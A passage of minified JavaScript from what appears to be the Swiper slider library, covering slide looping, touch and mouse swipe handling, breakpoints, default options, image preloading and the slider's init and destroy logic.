a=s(i);e<t.loopedSlides&&h.push(i),e<r.length&&e>=r.length-t.loopedSlides&&d.push(i),a.attr("data-swiper-slide-index",e)});for(var p=0;p<h.length;p+=1)a.append(s(h[p].cloneNode(!0)).addClass(i.slideDuplicateClass));for(var c=d.length-1;c>=0;c-=1)a.prepend(s(d[c].cloneNode(!0)).addClass(i.slideDuplicateClass))},loopFix:function(){var e,t=this.params,i=this.activeIndex,s=this.slides,a=this.loopedSlides,r=this.allowSlidePrev,n=this.allowSlideNext,o=this.snapGrid,l=this.rtlTranslate;this.allowSlidePrev=!0,this.allowSlideNext=!0;var d=-o[i]-this.getTranslate();i<a?(e=s.length-3*a+i,e+=a,this.slideTo(e,0,!1,!0)&&0!==d&&this.setTranslate((l?-this.translate:this.translate)-d)):("auto"===t.slidesPerView&&i>=2*a||i>s.length-2*t.slidesPerView)&&(e=-s.length+i+a,e+=a,this.slideTo(e,0,!1,!0)&&0!==d&&this.setTranslate((l?-this.translate:this.translate)-d));this.allowSlidePrev=r,this.allowSlideNext=n},loopDestroy:function(){var e=this.$wrapperEl,t=this.params,i=this.slides;e.children("."+t.slideClass+"."+t.slideDuplicateClass).remove(),i.removeAttr("data-swiper-slide-index")}};var b={setGrabCursor:function(e){if(!h.touch&&this.params.simulateTouch){var t=this.el;t.style.cursor="move",t.style.cursor=e?"-webkit-grabbing":"-webkit-grab",t.style.cursor=e?"-moz-grabbin":"-moz-grab",t.style.cursor=e?"grabbing":"grab"}},unsetGrabCursor:function(){h.touch||(this.el.style.cursor="")}};var w={appendSlide:function(e){var t=this.$wrapperEl,i=this.params;if(i.loop&&this.loopDestroy(),"object"==typeof e&&"length"in e)for(var s=0;s<e.length;s+=1)e[s]&&t.append(e[s]);else t.append(e);i.loop&&this.loopCreate(),i.observer&&h.observer||this.update()},prependSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&this.loopDestroy();var a=s+1;if("object"==typeof e&&"length"in e){for(var r=0;r<e.length;r+=1)e[r]&&i.prepend(e[r]);a=s+e.length}else i.prepend(e);t.loop&&this.loopCreate(),t.observer&&h.observer||this.update(),this.slideTo(a,0,!1)},removeSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&(this.loopDestroy(),this.slides=i.children("."+t.slideClass));var a,r=s;if("object"==typeof e&&"length"in e){for(var n=0;n<e.length;n+=1)a=e[n],this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1);r=Math.max(r,0)}else a=e,this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1),r=Math.max(r,0);t.loop&&this.loopCreate(),t.observer&&h.observer||this.update(),t.loop?this.slideTo(r+this.loopedSlides,0,!1):this.slideTo(r,0,!1)},removeAllSlides:function(){for(var e=[],t=0;t<this.slides.length;t+=1)e.push(t);this.removeSlide(e)}},y=function(){var i=t.navigator.userAgent,s={ios:!1,android:!1,androidChrome:!1,desktop:!1,windows:!1,iphone:!1,ipod:!1,ipad:!1,cordova:t.cordova||t.phonegap,phonegap:t.cordova||t.phonegap},a=i.match(/(Windows Phone);?[\s\/]+([\d.]+)?/),r=i.match(/(Android);?[\s\/]+([\d.]+)?/),n=i.match(/(iPad).*OS\s([\d_]+)/),o=i.match(/(iPod)(.*OS\s([\d_]+))?/),l=!n&&i.match(/(iPhone\sOS|iOS)\s([\d_]+)/);if(a&&(s.os="windows",s.osVersion=a[2],s.windows=!0),r&&!a&&(s.os="android",s.osVersion=r[2],s.android=!0,s.androidChrome=i.toLowerCase().indexOf("chrome")>=0),(n||l||o)&&(s.os="ios",s.ios=!0),l&&!o&&(s.osVersion=l[2].replace(/_/g,"."),s.iphone=!0),n&&(s.osVersion=n[2].replace(/_/g,"."),s.ipad=!0),o&&(s.osVersion=o[3]?o[3].replace(/_/g,"."):null,s.iphone=!0),s.ios&&s.osVersion&&i.indexOf("Version/")>=0&&"10"===s.osVersion.split(".")[0]&&(s.osVersion=i.toLowerCase().split("version/")[1].split(" ")[0]),s.desktop=!(s.os||s.android||s.webView),s.webView=(l||n||o)&&i.match(/.*AppleWebKit(?!.*Safari)/i),s.os&&"ios"===s.os){var d=s.osVersion.split("."),h=e.querySelector('meta[name="viewport"]');s.minimalUi=!s.webView&&(o||l)&&(1*d[0]==7?1*d[1]>=1:1*d[0]>7)&&h&&h.getAttribute("content").indexOf("minimal-ui")>=0}return s.pixelRatio=t.devicePixelRatio||1,s}();function x(){var e=this.params,t=this.el;if(!t||0!==t.offsetWidth){e.breakpoints&&this.setBreakpoint();var i=this.allowSlideNext,s=this.allowSlidePrev,a=this.snapGrid;if(this.allowSlideNext=!0,this.allowSlidePrev=!0,this.updateSize(),this.updateSlides(),e.freeMode){var r=Math.min(Math.max(this.translate,this.maxTranslate()),this.minTranslate());this.setTranslate(r),this.updateActiveIndex(),this.updateSlidesClasses(),e.autoHeight&&this.updateAutoHeight()}else this.updateSlidesClasses(),("auto"===e.slidesPerView||e.slidesPerView>1)&&this.isEnd&&!this.params.centeredSlides?this.slideTo(this.slides.length-1,0,!1,!0):this.slideTo(this.activeIndex,0,!1,!0);this.allowSlidePrev=s,this.allowSlideNext=i,this.params.watchOverflow&&a!==this.snapGrid&&this.checkOverflow()}}var E={attachEvents:function(){var i=this.params,a=this.touchEvents,r=this.el,n=this.wrapperEl;this.onTouchStart=function(i){var a=this.touchEventsData,r=this.params,n=this.touches;if(!this.animating||!r.preventIntercationOnTransition){var o=i;if(o.originalEvent&&(o=o.originalEvent),a.isTouchEvent="touchstart"===o.type,(a.isTouchEvent||!("which"in o)||3!==o.which)&&(!a.isTouched||!a.isMoved))if(r.noSwiping&&s(o.target).closest(r.noSwipingSelector?r.noSwipingSelector:"."+r.noSwipingClass)[0])this.allowClick=!0;else if(!r.swipeHandler||s(o).closest(r.swipeHandler)[0]){n.currentX="touchstart"===o.type?o.targetTouches[0].pageX:o.pageX,n.currentY="touchstart"===o.type?o.targetTouches[0].pageY:o.pageY;var l=n.currentX,h=n.currentY;if(!(y.ios&&!y.cordova&&r.iOSEdgeSwipeDetection&&l<=r.iOSEdgeSwipeThreshold&&l>=t.screen.width-r.iOSEdgeSwipeThreshold)){if(d.extend(a,{isTouched:!0,isMoved:!1,allowTouchCallbacks:!0,isScrolling:void 0,startMoving:void 0}),n.startX=l,n.startY=h,a.touchStartTime=d.now(),this.allowClick=!0,this.updateSize(),this.swipeDirection=void 0,r.threshold>0&&(a.allowThresholdMove=!1),"touchstart"!==o.type){var p=!0;s(o.target).is(a.formElements)&&(p=!1),e.activeElement&&s(e.activeElement).is(a.formElements)&&e.activeElement!==o.target&&e.activeElement.blur(),p&&this.allowTouchMove&&o.preventDefault()}this.emit("touchStart",o)}}}}.bind(this),this.onTouchMove=function(t){var i=this.touchEventsData,a=this.params,r=this.touches,n=this.rtlTranslate,o=t;if(o.originalEvent&&(o=o.originalEvent),i.isTouched){if(!i.isTouchEvent||"mousemove"!==o.type){var l="touchmove"===o.type?o.targetTouches[0].pageX:o.pageX,h="touchmove"===o.type?o.targetTouches[0].pageY:o.pageY;if(o.preventedByNestedSwiper)return r.startX=l,void(r.startY=h);if(!this.allowTouchMove)return this.allowClick=!1,void(i.isTouched&&(d.extend(r,{startX:l,startY:h,currentX:l,currentY:h}),i.touchStartTime=d.now()));if(i.isTouchEvent&&a.touchReleaseOnEdges&&!a.loop)if(this.isVertical()){if(h<r.startY&&this.translate<=this.maxTranslate()||h>r.startY&&this.translate>=this.minTranslate())return i.isTouched=!1,void(i.isMoved=!1)}else if(l<r.startX&&this.translate<=this.maxTranslate()||l>r.startX&&this.translate>=this.minTranslate())return;if(i.isTouchEvent&&e.activeElement&&o.target===e.activeElement&&s(o.target).is(i.formElements))return i.isMoved=!0,void(this.allowClick=!1);if(i.allowTouchCallbacks&&this.emit("touchMove",o),!(o.targetTouches&&o.targetTouches.length>1)){r.currentX=l,r.currentY=h;var p,c=r.currentX-r.startX,u=r.currentY-r.startY;if(void 0===i.isScrolling&&(this.isHorizontal()&&r.currentY===r.startY||this.isVertical()&&r.currentX===r.startX?i.isScrolling=!1:c*c+u*u>=25&&(p=180*Math.atan2(Math.abs(u),Math.abs(c))/Math.PI,i.isScrolling=this.isHorizontal()?p>a.touchAngle:90-p>a.touchAngle)),i.isScrolling&&this.emit("touchMoveOpposite",o),"undefined"==typeof startMoving&&(r.currentX===r.startX&&r.currentY===r.startY||(i.startMoving=!0)),i.isScrolling)i.isTouched=!1;else if(i.startMoving){this.allowClick=!1,o.preventDefault(),a.touchMoveStopPropagation&&!a.nested&&o.stopPropagation(),i.isMoved||(a.loop&&this.loopFix(),i.startTranslate=this.getTranslate(),this.setTransition(0),this.animating&&this.$wrapperEl.trigger("webkitTransitionEnd transitionend"),i.allowMomentumBounce=!1,!a.grabCursor||!0!==this.allowSlideNext&&!0!==this.allowSlidePrev||this.setGrabCursor(!0),this.emit("sliderFirstMove",o)),this.emit("sliderMove",o),i.isMoved=!0;var v=this.isHorizontal()?c:u;r.diff=v,v*=a.touchRatio,n&&(v=-v),this.swipeDirection=v>0?"prev":"next",i.currentTranslate=v+i.startTranslate;var f=!0,m=a.resistanceRatio;if(a.touchReleaseOnEdges&&(m=0),v>0&&i.currentTranslate>this.minTranslate()?(f=!1,a.resistance&&(i.currentTranslate=this.minTranslate()-1+Math.pow(-this.minTranslate()+i.startTranslate+v,m))):v<0&&i.currentTranslate<this.maxTranslate()&&(f=!1,a.resistance&&(i.currentTranslate=this.maxTranslate()+1-Math.pow(this.maxTranslate()-i.startTranslate-v,m))),f&&(o.preventedByNestedSwiper=!0),!this.allowSlideNext&&"next"===this.swipeDirection&&i.currentTranslate<i.startTranslate&&(i.currentTranslate=i.startTranslate),!this.allowSlidePrev&&"prev"===this.swipeDirection&&i.currentTranslate>i.startTranslate&&(i.currentTranslate=i.startTranslate),a.threshold>0){if(!(Math.abs(v)>a.threshold||i.allowThresholdMove))return void(i.currentTranslate=i.startTranslate);if(!i.allowThresholdMove)return i.allowThresholdMove=!0,r.startX=r.currentX,r.startY=r.currentY,i.currentTranslate=i.startTranslate,void(r.diff=this.isHorizontal()?r.currentX-r.startX:r.currentY-r.startY)}a.followFinger&&((a.freeMode||a.watchSlidesProgress||a.watchSlidesVisibility)&&(this.updateActiveIndex(),this.updateSlidesClasses()),a.freeMode&&(0===i.velocities.length&&i.velocities.push({position:r[this.isHorizontal()?"startX":"startY"],time:i.touchStartTime}),i.velocities.push({position:r[this.isHorizontal()?"currentX":"currentY"],time:d.now()})),this.updateProgress(i.currentTranslate),this.setTranslate(i.currentTranslate))}}}}else i.startMoving&&i.isScrolling&&this.emit("touchMoveOpposite",o)}.bind(this),this.onTouchEnd=function(e){var t=this,i=t.touchEventsData,s=t.params,a=t.touches,r=t.rtlTranslate,n=t.$wrapperEl,o=t.slidesGrid,l=t.snapGrid,h=e;if(h.originalEvent&&(h=h.originalEvent),i.allowTouchCallbacks&&t.emit("touchEnd",h),i.allowTouchCallbacks=!1,!i.isTouched)return i.isMoved&&s.grabCursor&&t.setGrabCursor(!1),i.isMoved=!1,void(i.startMoving=!1);s.grabCursor&&i.isMoved&&i.isTouched&&(!0===t.allowSlideNext||!0===t.allowSlidePrev)&&t.setGrabCursor(!1);var p,c=d.now(),u=c-i.touchStartTime;if(t.allowClick&&(t.updateClickedSlide(h),t.emit("tap",h),u<300&&c-i.lastClickTime>300&&(i.clickTimeout&&clearTimeout(i.clickTimeout),i.clickTimeout=d.nextTick(function(){t&&!t.destroyed&&t.emit("click",h)},300)),u<300&&c-i.lastClickTime<300&&(i.clickTimeout&&clearTimeout(i.clickTimeout),t.emit("doubleTap",h))),i.lastClickTime=d.now(),d.nextTick(function(){t.destroyed||(t.allowClick=!0)}),!i.isTouched||!i.isMoved||!t.swipeDirection||0===a.diff||i.currentTranslate===i.startTranslate)return i.isTouched=!1,i.isMoved=!1,void(i.startMoving=!1);if(i.isTouched=!1,i.isMoved=!1,i.startMoving=!1,p=s.followFinger?r?t.translate:-t.translate:-i.currentTranslate,s.freeMode){if(p<-t.minTranslate())return void t.slideTo(t.activeIndex);if(p>-t.maxTranslate())return void(t.slides.length<l.length?t.slideTo(l.length-1):t.slideTo(t.slides.length-1));if(s.freeModeMomentum){if(i.velocities.length>1){var v=i.velocities.pop(),f=i.velocities.pop(),m=v.position-f.position,g=v.time-f.time;t.velocity=m/g,t.velocity/=2,Math.abs(t.velocity)<s.freeModeMinimumVelocity&&(t.velocity=0),(g>150||d.now()-v.time>300)&&(t.velocity=0)}else t.velocity=0;t.velocity*=s.freeModeMomentumVelocityRatio,i.velocities.length=0;var b=1e3*s.freeModeMomentumRatio,w=t.velocity*b,y=t.translate+w;r&&(y=-y);var x,E,T=!1,S=20*Math.abs(t.velocity)*s.freeModeMomentumBounceRatio;if(y<t.maxTranslate())s.freeModeMomentumBounce?(y+t.maxTranslate()<-S&&(y=t.maxTranslate()-S),x=t.maxTranslate(),T=!0,i.allowMomentumBounce=!0):y=t.maxTranslate(),s.loop&&s.centeredSlides&&(E=!0);else if(y>t.minTranslate())s.freeModeMomentumBounce?(y-t.minTranslate()>S&&(y=t.minTranslate()+S),x=t.minTranslate(),T=!0,i.allowMomentumBounce=!0):y=t.minTranslate(),s.loop&&s.centeredSlides&&(E=!0);else if(s.freeModeSticky){for(var C,M=0;M<l.length;M+=1)if(l[M]>-y){C=M;break}y=-(y=Math.abs(l[C]-y)<Math.abs(l[C-1]-y)||"next"===t.swipeDirection?l[C]:l[C-1])}if(E&&t.once("transitionEnd",function(){t.loopFix()}),0!==t.velocity)b=r?Math.abs((-y-t.translate)/t.velocity):Math.abs((y-t.translate)/t.velocity);else if(s.freeModeSticky)return void t.slideToClosest();s.freeModeMomentumBounce&&T?(t.updateProgress(x),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating=!0,n.transitionEnd(function(){t&&!t.destroyed&&i.allowMomentumBounce&&(t.emit("momentumBounce"),t.setTransition(s.speed),t.setTranslate(x),n.transitionEnd(function(){t&&!t.destroyed&&t.transitionEnd()}))})):t.velocity?(t.updateProgress(y),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating||(t.animating=!0,n.transitionEnd(function(){t&&!t.destroyed&&t.transitionEnd()}))):t.updateProgress(y),t.updateActiveIndex(),t.updateSlidesClasses()}else if(s.freeModeSticky)return void t.slideToClosest();(!s.freeModeMomentum||u>=s.longSwipesMs)&&(t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses())}else{for(var z=0,k=t.slidesSizesGrid[0],P=0;P<o.length;P+=s.slidesPerGroup)void 0!==o[P+s.slidesPerGroup]?p>=o[P]&&p<o[P+s.slidesPerGroup]&&(z=P,k=o[P+s.slidesPerGroup]-o[P]):p>=o[P]&&(z=P,k=o[o.length-1]-o[o.length-2]);var $=(p-o[z])/k;if(u>s.longSwipesMs){if(!s.longSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&($>=s.longSwipesRatio?t.slideTo(z+s.slidesPerGroup):t.slideTo(z)),"prev"===t.swipeDirection&&($>1-s.longSwipesRatio?t.slideTo(z+s.slidesPerGroup):t.slideTo(z))}else{if(!s.shortSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&t.slideTo(z+s.slidesPerGroup),"prev"===t.swipeDirection&&t.slideTo(z)}}}.bind(this),this.onClick=function(e){this.allowClick||(this.params.preventClicks&&e.preventDefault(),this.params.preventClicksPropagation&&this.animating&&(e.stopPropagation(),e.stopImmediatePropagation()))}.bind(this);var o="container"===i.touchEventsTarget?r:n,l=!!i.nested;if(h.touch||!h.pointerEvents&&!h.prefixedPointerEvents){if(h.touch){var p=!("touchstart"!==a.start||!h.passiveListener||!i.passiveListeners)&&{passive:!0,capture:!1};o.addEventListener(a.start,this.onTouchStart,p),o.addEventListener(a.move,this.onTouchMove,h.passiveListener?{passive:!1,capture:l}:l),o.addEventListener(a.end,this.onTouchEnd,p)}(i.simulateTouch&&!y.ios&&!y.android||i.simulateTouch&&!h.touch&&y.ios)&&(o.addEventListener("mousedown",this.onTouchStart,!1),e.addEventListener("mousemove",this.onTouchMove,l),e.addEventListener("mouseup",this.onTouchEnd,!1))}else o.addEventListener(a.start,this.onTouchStart,!1),e.addEventListener(a.move,this.onTouchMove,l),e.addEventListener(a.end,this.onTouchEnd,!1);(i.preventClicks||i.preventClicksPropagation)&&o.addEventListener("click",this.onClick,!0),this.on("resize observerUpdate",x,!0)},detachEvents:function(){var t=this.params,i=this.touchEvents,s=this.el,a=this.wrapperEl,r="container"===t.touchEventsTarget?s:a,n=!!t.nested;if(h.touch||!h.pointerEvents&&!h.prefixedPointerEvents){if(h.touch){var o=!("onTouchStart"!==i.start||!h.passiveListener||!t.passiveListeners)&&{passive:!0,capture:!1};r.removeEventListener(i.start,this.onTouchStart,o),r.removeEventListener(i.move,this.onTouchMove,n),r.removeEventListener(i.end,this.onTouchEnd,o)}(t.simulateTouch&&!y.ios&&!y.android||t.simulateTouch&&!h.touch&&y.ios)&&(r.removeEventListener("mousedown",this.onTouchStart,!1),e.removeEventListener("mousemove",this.onTouchMove,n),e.removeEventListener("mouseup",this.onTouchEnd,!1))}else r.removeEventListener(i.start,this.onTouchStart,!1),e.removeEventListener(i.move,this.onTouchMove,n),e.removeEventListener(i.end,this.onTouchEnd,!1);(t.preventClicks||t.preventClicksPropagation)&&r.removeEventListener("click",this.onClick,!0),this.off("resize observerUpdate",x)}};var T={setBreakpoint:function(){var e=this.activeIndex,t=this.loopedSlides;void 0===t&&(t=0);var i=this.params,s=i.breakpoints;if(s&&(!s||0!==Object.keys(s).length)){var a=this.getBreakpoint(s);if(a&&this.currentBreakpoint!==a){var r=a in s?s[a]:this.originalParams,n=i.loop&&r.slidesPerView!==i.slidesPerView;d.extend(this.params,r),d.extend(this,{allowTouchMove:this.params.allowTouchMove,allowSlideNext:this.params.allowSlideNext,allowSlidePrev:this.params.allowSlidePrev}),this.currentBreakpoint=a,n&&(this.loopDestroy(),this.loopCreate(),this.updateSlides(),this.slideTo(e-t+this.loopedSlides,0,!1)),this.emit("breakpoint",r)}}},getBreakpoint:function(e){if(e){var i=!1,s=[];Object.keys(e).forEach(function(e){s.push(e)}),s.sort(function(e,t){return parseInt(e,10)-parseInt(t,10)});for(var a=0;a<s.length;a+=1){var r=s[a];r>=t.innerWidth&&!i&&(i=r)}return i||"max"}}},S=function(){return{isIE:!!t.navigator.userAgent.match(/Trident/g)||!!t.navigator.userAgent.match(/MSIE/g),isSafari:(e=t.navigator.userAgent.toLowerCase(),e.indexOf("safari")>=0&&e.indexOf("chrome")<0&&e.indexOf("android")<0),isUiWebView:/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(t.navigator.userAgent)};var e}();var C={init:!0,direction:"horizontal",touchEventsTarget:"container",initialSlide:0,speed:300,preventIntercationOnTransition:!1,iOSEdgeSwipeDetection:!1,iOSEdgeSwipeThreshold:20,freeMode:!1,freeModeMomentum:!0,freeModeMomentumRatio:1,freeModeMomentumBounce:!0,freeModeMomentumBounceRatio:1,freeModeMomentumVelocityRatio:1,freeModeSticky:!1,freeModeMinimumVelocity:.02,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",breakpoints:void 0,spaceBetween:0,slidesPerView:1,slidesPerColumn:1,slidesPerColumnFill:"column",slidesPerGroup:1,centeredSlides:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,normalizeSlideIndex:!0,watchOverflow:!1,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,allowTouchMove:!0,threshold:0,touchMoveStopPropagation:!0,touchReleaseOnEdges:!1,uniqueNavElements:!0,resistance:!0,resistanceRatio:.85,watchSlidesProgress:!1,watchSlidesVisibility:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,preloadImages:!0,updateOnImagesReady:!0,loop:!1,loopAdditionalSlides:0,loopedSlides:null,loopFillGroupWithBlank:!1,allowSlidePrev:!0,allowSlideNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",noSwipingSelector:null,passiveListeners:!0,containerModifierClass:"swiper-container-",slideClass:"swiper-slide",slideBlankClass:"swiper-slide-invisible-blank",slideActiveClass:"swiper-slide-active",slideDuplicateActiveClass:"swiper-slide-duplicate-active",slideVisibleClass:"swiper-slide-visible",slideDuplicateClass:"swiper-slide-duplicate",slideNextClass:"swiper-slide-next",slideDuplicateNextClass:"swiper-slide-duplicate-next",slidePrevClass:"swiper-slide-prev",slideDuplicatePrevClass:"swiper-slide-duplicate-prev",wrapperClass:"swiper-wrapper",runCallbacksOnInit:!0},M={update:u,translate:v,transition:f,slide:m,loop:g,grabCursor:b,manipulation:w,events:E,breakpoints:T,checkOverflow:{checkOverflow:function(){var e=this.isLocked;this.isLocked=1===this.snapGrid.length,this.allowSlideNext=!this.isLocked,this.allowSlidePrev=!this.isLocked,e!==this.isLocked&&this.emit(this.isLocked?"lock":"unlock"),e&&e!==this.isLocked&&(this.isEnd=!1,this.navigation.update())}},classes:{addClasses:function(){var e=this.classNames,t=this.params,i=this.rtl,s=this.$el,a=[];a.push(t.direction),t.freeMode&&a.push("free-mode"),h.flexbox||a.push("no-flexbox"),t.autoHeight&&a.push("autoheight"),i&&a.push("rtl"),t.slidesPerColumn>1&&a.push("multirow"),y.android&&a.push("android"),y.ios&&a.push("ios"),S.isIE&&(h.pointerEvents||h.prefixedPointerEvents)&&a.push("wp8-"+t.direction),a.forEach(function(i){e.push(t.containerModifierClass+i)}),s.addClass(e.join(" "))},removeClasses:function(){var e=this.$el,t=this.classNames;e.removeClass(t.join(" "))}},images:{loadImage:function(e,i,s,a,r,n){var o;function l(){n&&n()}e.complete&&r?l():i?((o=new t.Image).onload=l,o.onerror=l,a&&(o.sizes=a),s&&(o.srcset=s),i&&(o.src=i)):l()},preloadImages:function(){var e=this;function t(){void 0!==e&&null!==e&&e&&!e.destroyed&&(void 0!==e.imagesLoaded&&(e.imagesLoaded+=1),e.imagesLoaded===e.imagesToLoad.length&&(e.params.updateOnImagesReady&&e.update(),e.emit("imagesReady")))}e.imagesToLoad=e.$el.find("img");for(var i=0;i<e.imagesToLoad.length;i+=1){var s=e.imagesToLoad[i];e.loadImage(s,s.currentSrc||s.getAttribute("src"),s.srcset||s.getAttribute("srcset"),s.sizes||s.getAttribute("sizes"),!0,t)}}}},z={},k=function(e){function t(){for(var i,a,r,n=[],o=arguments.length;o--;)n[o]=arguments[o];1===n.length&&n[0].constructor&&n[0].constructor===Object?r=n[0]:(a=(i=n)[0],r=i[1]),r||(r={}),r=d.extend({},r),a&&!r.el&&(r.el=a),e.call(this,r),Object.keys(M).forEach(function(e){Object.keys(M[e]).forEach(function(i){t.prototype[i]||(t.prototype[i]=M[e][i])})});var l=this;void 0===l.modules&&(l.modules={}),Object.keys(l.modules).forEach(function(e){var t=l.modules[e];if(t.params){var i=Object.keys(t.params)[0],s=t.params[i];if("object"!=typeof s)return;if(!(i in r&&"enabled"in s))return;!0===r[i]&&(r[i]={enabled:!0}),"object"!=typeof r[i]||"enabled"in r[i]||(r[i].enabled=!0),r[i]||(r[i]={enabled:!1})}});var p=d.extend({},C);l.useModulesParams(p),l.params=d.extend({},p,z,r),l.originalParams=d.extend({},l.params),l.passedParams=d.extend({},r),l.$=s;var c=s(l.params.el);if(a=c[0]){if(c.length>1){var u=[];return c.each(function(e,i){var s=d.extend({},r,{el:i});u.push(new t(s))}),u}a.swiper=l,c.data("swiper",l);var v,f,m=c.children("."+l.params.wrapperClass);return d.extend(l,{$el:c,el:a,$wrapperEl:m,wrapperEl:m[0],classNames:[],slides:s(),slidesGrid:[],snapGrid:[],slidesSizesGrid:[],isHorizontal:function(){return"horizontal"===l.params.direction},isVertical:function(){return"vertical"===l.params.direction},rtl:"rtl"===a.dir.toLowerCase()||"rtl"===c.css("direction"),rtlTranslate:"horizontal"===l.params.direction&&("rtl"===a.dir.toLowerCase()||"rtl"===c.css("direction")),wrongRTL:"-webkit-box"===m.css("display"),activeIndex:0,realIndex:0,isBeginning:!0,isEnd:!1,translate:0,progress:0,velocity:0,animating:!1,allowSlideNext:l.params.allowSlideNext,allowSlidePrev:l.params.allowSlidePrev,touchEvents:(v=["touchstart","touchmove","touchend"],f=["mousedown","mousemove","mouseup"],h.pointerEvents?f=["pointerdown","pointermove","pointerup"]:h.prefixedPointerEvents&&(f=["MSPointerDown","MSPointerMove","MSPointerUp"]),l.touchEventsTouch={start:v[0],move:v[1],end:v[2]},l.touchEventsDesktop={start:f[0],move:f[1],end:f[2]},h.touch||!l.params.simulateTouch?l.touchEventsTouch:l.touchEventsDesktop),touchEventsData:{isTouched:void 0,isMoved:void 0,allowTouchCallbacks:void 0,touchStartTime:void 0,isScrolling:void 0,currentTranslate:void 0,startTranslate:void 0,allowThresholdMove:void 0,formElements:"input, select, option, textarea, button, video",lastClickTime:d.now(),clickTimeout:void 0,velocities:[],allowMomentumBounce:void 0,isTouchEvent:void 0,startMoving:void 0},allowClick:!0,allowTouchMove:l.params.allowTouchMove,touches:{startX:0,startY:0,currentX:0,currentY:0,diff:0},imagesToLoad:[],imagesLoaded:0}),l.useModules(),l.params.init&&l.init(),l}}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var i={extendedDefaults:{configurable:!0},defaults:{configurable:!0},Class:{configurable:!0},$:{configurable:!0}};return t.prototype.slidesPerViewDynamic=function(){var e=this.params,t=this.slides,i=this.slidesGrid,s=this.size,a=this.activeIndex,r=1;if(e.centeredSlides){for(var n,o=t[a].swiperSlideSize,l=a+1;l<t.length;l+=1)t[l]&&!n&&(r+=1,(o+=t[l].swiperSlideSize)>s&&(n=!0));for(var d=a-1;d>=0;d-=1)t[d]&&!n&&(r+=1,(o+=t[d].swiperSlideSize)>s&&(n=!0))}else for(var h=a+1;h<t.length;h+=1)i[h]-i[a]<s&&(r+=1);return r},t.prototype.update=function(){var e=this;if(e&&!e.destroyed){var t=e.snapGrid,i=e.params;i.breakpoints&&e.setBreakpoint(),e.updateSize(),e.updateSlides(),e.updateProgress(),e.updateSlidesClasses(),e.params.freeMode?(s(),e.params.autoHeight&&e.updateAutoHeight()):(("auto"===e.params.slidesPerView||e.params.slidesPerView>1)&&e.isEnd&&!e.params.centeredSlides?e.slideTo(e.slides.length-1,0,!1,!0):e.slideTo(e.activeIndex,0,!1,!0))||s(),i.watchOverflow&&t!==e.snapGrid&&e.checkOverflow(),e.emit("update")}function s(){var t=e.rtlTranslate?-1*e.translate:e.translate,i=Math.min(Math.max(t,e.maxTranslate()),e.minTranslate());e.setTranslate(i),e.updateActiveIndex(),e.updateSlidesClasses()}},t.prototype.init=function(){this.initialized||(this.emit("beforeInit"),this.params.breakpoints&&this.setBreakpoint(),this.addClasses(),this.params.loop&&this.loopCreate(),this.updateSize(),this.updateSlides(),this.params.watchOverflow&&this.checkOverflow(),this.params.grabCursor&&this.setGrabCursor(),this.params.preloadImages&&this.preloadImages(),this.params.loop?this.slideTo(this.params.initialSlide+this.loopedSlides,0,this.params.runCallbacksOnInit):this.slideTo(this.params.initialSlide,0,this.params.runCallbacksOnInit),this.attachEvents(),this.initialized=!0,this.emit("init"))},t.prototype.destroy=function(e,t){void 0===e&&(e=!0),void 0===t&&(t=!0);var i=this,s=i.params,a=i.$el,r=i.$wrapperEl,n=i.slides;i.emit("beforeDestroy"),i.initialized=!1,i.detachEvents(),s.loop&&i.loopDestroy(),t&&(i.removeClasses(),a.removeAttr("style"),r.removeAttr("style"),n&&n.length&&n.removeClass([s.slideVisibleClass,s.slideActiveClass,s.slideNextClass,s.slidePrevClass].join(" ")).removeAttr("style").removeAttr("data-swiper-slide-index").removeAttr("data-swiper-column").removeAttr("data-swiper-row")),i.emit("destroy"),Object.keys(i.eventsListeners).forEach(function(e){i.off(e)}),!1!==e&&(i.$el[0].swiper=null,i.$el.data("swiper",null),d.deleteProps(i)),i.destroyed=!0},t.extendDefaults=function(e){d.extend(z,e)},i.extendedDefaults.get=function(){return z},i.defaults.get=function(){return C},i.Class.get=function(){return e},i.$.get=function(){return s},Object.defineProperties(t,i),t}(p),P={name:"device",proto:{device:y},static:{device:y}},$={name:"support",proto:{support:h},static:{support:h}},L={name:"browser",proto:{browser:S},static:{browser:S}},I={name:"resize",create:function(){var e=this;d.extend(e,{resize:{resizeHandler:function(){e&&!e.destroyed&&e.initialized&&(e.emit("beforeResize"),e.emit("resize"))},orientationChangeHandler:function(){e&&!e.destroyed&&e.initialized&&e.emit("orientationchange")}}})},on:{init:function(){t.addEventListener("resize",this.resize.resizeHandler),t.addEventListener("orientationchange",this.resize.orientationChangeHandler)},destroy:function(){t.removeEventListener("resize",this.resize.resizeHandler),t.removeEventListener("orientationchange",this.resize.orientationChangeHandler)}}},D={func:t.MutationObserver||t.WebkitMutationObserver,attach:function(e,t){void 0===t&&(t={});var i=this,s=new(0,D.func)(function(e){e.forEach(function(e){i.emit("observerUpdate",e)})});s.observe(e,{attributes:void 0===t.attributes||t.attributes,childList:void 0===t.childList||t.childList,characterData:void 0===t.characterData||t.characterData}),i.observer.observers.push(s)},init:function(){if(h.observer&&this.params.observer){if(this.params.observeParents)for(var 